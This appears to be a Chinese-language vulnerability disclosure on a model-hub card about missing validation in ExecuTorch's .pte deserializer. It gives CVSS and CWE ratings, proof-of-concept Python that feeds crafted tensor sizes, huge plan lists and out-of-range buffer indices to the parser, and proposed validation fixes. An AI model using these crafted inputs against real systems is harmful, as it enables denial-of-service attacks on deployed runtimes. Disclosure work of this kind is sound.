YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

ExecuTorch .pte Format — 文件格式验证缺失导致拒绝服务

概述

项目: executorch (PyTorch Edge Runtime) 版本: 1.2.0+cpu 格式: .pte (Program Transfer Executable, FlatBuffers 二进制) CVSS 3.1: 5.5 (Medium) — AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H CWE: CWE-20 (Improper Input Validation), CWE-400 (Uncontrolled Resource Consumption)

漏洞摘要

# 漏洞 严重程度 PoC 结果
1 Tensor 维度无上界检查 Medium [2^31-1, 2^31-1] 和 10000 维 tensor 被接受
2 列表字段无数目限制 Medium 100,000 个 execution plan 被接受,6.55s 解析时间
3 负数/零维 tensor 不拒绝 Low [-100][0] 维度通过验证
4 Buffer 索引越界引用 Medium data_buffer_idx=999 但仅 0 个 buffer 存在
5 Segment 偏移无验证 Medium offset=-1size=999999999 被接受
6 deserialize_pte_binary() 零结构验证 Medium 直接从二进制 → flatc → JSON → 对象,无任何安检

技术分析

1. 加载管道完全无验证

deserialize_pte_binary() 的完整调用链:

.pte binary → flatc subprocess (JSON decompile) → json.loads()
→ _json_to_dataclass() → Program dataclass

没有任何一个环节执行结构安全性检查

  • flatc 仅检查 FlatBuffer 格式正确性(file_identifier "ET12"),不检查模型语义
  • json.loads() 仅解析 JSON,不验证内容
  • _json_to_dataclass() 递归构造数据类,无边界检查
  • verifier.py 仅检查图级别语义(算子合法性、tensor 连续性),且默认不启用

2. Tensor 维度无上界(schema.py:66

@dataclass
class Tensor:
    scalar_type: ScalarType
    storage_offset: int
    sizes: List[int]        # ← 无上限!可以是任意整数值
    dim_order: List[int]    # ← 无数目限制!可以是 10000 维
    ...

对比 ONNX 的 check_model() 会验证 shape 合理性,ExecuTorch 直接接受 sizes=[2147483647, 2147483647](4.6 exa-elements)而只有 1 byte 的实际存储。

3. 列表字段无条目数限制

@dataclass
class Program:
    execution_plan: List[ExecutionPlan]  # ← 可以是 100,000 个
    ...

@dataclass  
class ExecutionPlan:
    values: List[EValue]     # ← 无限制
    chains: List[Chain]      # ← 无限制
    operators: List[Operator] # ← 无限制
    delegates: List[BackendDelegate] # ← 无限制

100,000 个 execution plan 的 JSON 仅 20.6 MB,但解析后产生海量 Python 对象,可导致 OOM。

4. 关键代码路径

deserialize_pte_binary (_serialize/_program.py:747-770):

def deserialize_pte_binary(program_data: bytes) -> PTEFile:
    # 无magic检查,无大小限制,无完整性验证
    program: Program = _json_to_program(
        _program_flatbuffer_to_json(program_data[:program_size])
    )
    ...

_json_to_dataclass (_serialize/_dataclass.py:60-145):

def _json_to_dataclass(json_dict, cls=None):
    # 递归处理,无深度限制
    # List字段无条目数限制
    # int字段无取值范围检查
    for field in cls_flds:
        ...
        if get_origin(T) is list:
            data[key] = [_json_to_dataclass(e, T) for e in value]

5. 与其他 ML 格式对比

特性 ONNX TF SavedModel Core ML OpenVINO ExecuTorch
Shape 上界检查 ✅ check_model ❌ (C++ 有)
维度 > 0 验证
列表计数限制
Buffer 索引验证
加载前结构验证
独立 check_model N/A

复现过程

PoC 1: 极端 Tensor 维度导致内存耗尽

from executorch.exir._serialize._program import _json_to_program
import json

crafted_json = json.dumps({
    "version": 1,
    "execution_plan": [{
        "name": "forward",
        "container_meta_type": {"encoded_inp_str": "", "encoded_out_str": ""},
        "values": [{
            "val": {
                "scalar_type": "FLOAT",
                "storage_offset": 0,
                "sizes": [2147483647, 2147483647],  # 4.6 exa-elements
                "dim_order": [0, 1],
                "requires_grad": False,
                "layout": 0,
                "data_buffer_idx": 0,
                "allocation_info": None,
                "shape_dynamism": "STATIC"
            },
            "val_type": "Tensor"
        }],
        "inputs": [], "outputs": [], "chains": [],
        "operators": [], "delegates": [],
        "non_const_buffer_sizes": [0]
    }],
    "constant_buffer": [{"storage": [0]}],  # 仅 1 byte
    "backend_delegate_data": [],
    "segments": [],
    "constant_segment": {"segment_index": 0, "offsets": []}
})

program = _json_to_program(crafted_json.encode("utf-8"))
# ✅ 成功!无错误!
print(program.execution_plan[0].values[0].val.sizes)
# [2147483647, 2147483647]

PoC 2: 海量列表导致 OOM

N = 100000
crafted_json = json.dumps({
    "version": 1,
    "execution_plan": [
        {"name": f"plan_{i}", ...}
        for i in range(N)  # 100,000 个 plan
    ],
    ...
})
program = _json_to_program(crafted_json.encode("utf-8"))
# ✅ 成功!解析耗时 6.55s

PoC 3: 负数维度

"sizes": [-1]   # ✅ 被接受
"sizes": [-100] # ✅ 被接受
"sizes": [0]    # ✅ 被接受

PoC 4: Buffer 索引越界

"data_buffer_idx": 999  # 只有 0 个 buffer
# ✅ 被接受!运行时崩溃

修复建议

1. 添加维度边界检查(_dataclass.py_program.py

MAX_TENSOR_DIM_VALUE = 2**31 - 1  # 合理的上界
MAX_TENSOR_DIM_COUNT = 32          # 最大维度数
MAX_TOTAL_ELEMENTS = 2**48         # ~256T elements 上界

def _validate_tensor_dims(sizes: List[int]) -> None:
    if len(sizes) > MAX_TENSOR_DIM_COUNT:
        raise ValueError(f"Tensor dimension count {len(sizes)} exceeds {MAX_TENSOR_DIM_COUNT}")
    for i, s in enumerate(sizes):
        if s <= 0:
            raise ValueError(f"Tensor dimension {i} is {s}, must be > 0")
        if s > MAX_TENSOR_DIM_VALUE:
            raise ValueError(f"Tensor dimension {i} value {s} exceeds {MAX_TENSOR_DIM_VALUE}")

def _validate_tensor_buffer_index(tensor, num_buffers):
    if tensor.data_buffer_idx >= num_buffers:
        raise ValueError(
            f"Tensor references buffer {tensor.data_buffer_idx} "
            f"but only {num_buffers} buffers exist"
        )

2. 限制列表条目数

MAX_EXECUTION_PLANS = 1024
MAX_VALUES = 2**20
MAX_CHAINS = 1024
MAX_OPERATORS = 2**16
MAX_DELEGATES = 256

def _validate_program_limits(program: Program) -> None:
    if len(program.execution_plan) > MAX_EXECUTION_PLANS:
        raise ValueError(f"Too many execution plans: {len(program.execution_plan)}")
    for plan in program.execution_plan:
        if len(plan.values) > MAX_VALUES:
            raise ValueError(f"Too many values: {len(plan.values)}")
        # ...

3. 添加 check_model() 等价函数

def check_pte(program: Program) -> None:
    """Validate structural integrity of a deserialized .pte program."""
    _validate_program_limits(program)
    num_buffers = len(program.constant_buffer)
    for plan in program.execution_plan:
        for evalue in plan.values:
            if isinstance(evalue.val, Tensor):
                _validate_tensor_dims(evalue.val.sizes)
                _validate_tensor_buffer_index(evalue.val, num_buffers)
    for i, seg in enumerate(program.segments):
        if seg.offset < 0:
            raise ValueError(f"Segment {i} has negative offset {seg.offset}")

4. 在 deserialize_pte_binary() 中集成验证

def deserialize_pte_binary(program_data: bytes) -> PTEFile:
    # ... existing parsing code ...
    program = _json_to_program(...)
    check_pte(program)  # ← 添加此行
    # ... restore segments ...

想法(发散思维)

  1. 越界 buffer 索引 → C++ 运行时崩溃 → 潜在 UAF/越界读写data_buffer_idx=999 被 Python 层接受,如果 C++ 运行时信任此索引直接访问数组,可能导致内存损坏

  2. 极端维度 × 运行时编译:C++ 运行时 compile_model() 会根据 tensor 维度分配内存。如果 Python 层不验证,恶意的 2^31 维度会传递到 C++ 层导致 malloc 失败或整数溢出

  3. flatc 版本依赖性:executorch 打包了自己的 flatc 二进制(executorch/data/bin/flatc),如果版本过旧可能包含已知漏洞

  4. Schema 版本升级绕过schema_check.py 管理 schema 版本兼容性,但版本检查仅用于检测 schema 变更,不作为安全验证。攻击者可以声明任意 SCHEMA_VERSION

  5. FlatBuffer force_align 操纵_patch_schema_alignment() 修改对齐值,如果攻击者控制 alignment 值可能导致段偏移计算错误

  6. 与 ONNX/OpenVINO 漏洞的共性:所有 ML 格式的 Python 前端都缺乏结构验证,说明这是一个行业性盲区——开发者依赖底层序列化格式(Protobuf/FlatBuffers)的安全性,但忽略了模型语义层面的恶意构造

文件清单

  • poc_executorch_bypass.py — 7 个 PoC 的完整测试脚本
  • README.md — 本文件
Downloads last month
-
Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support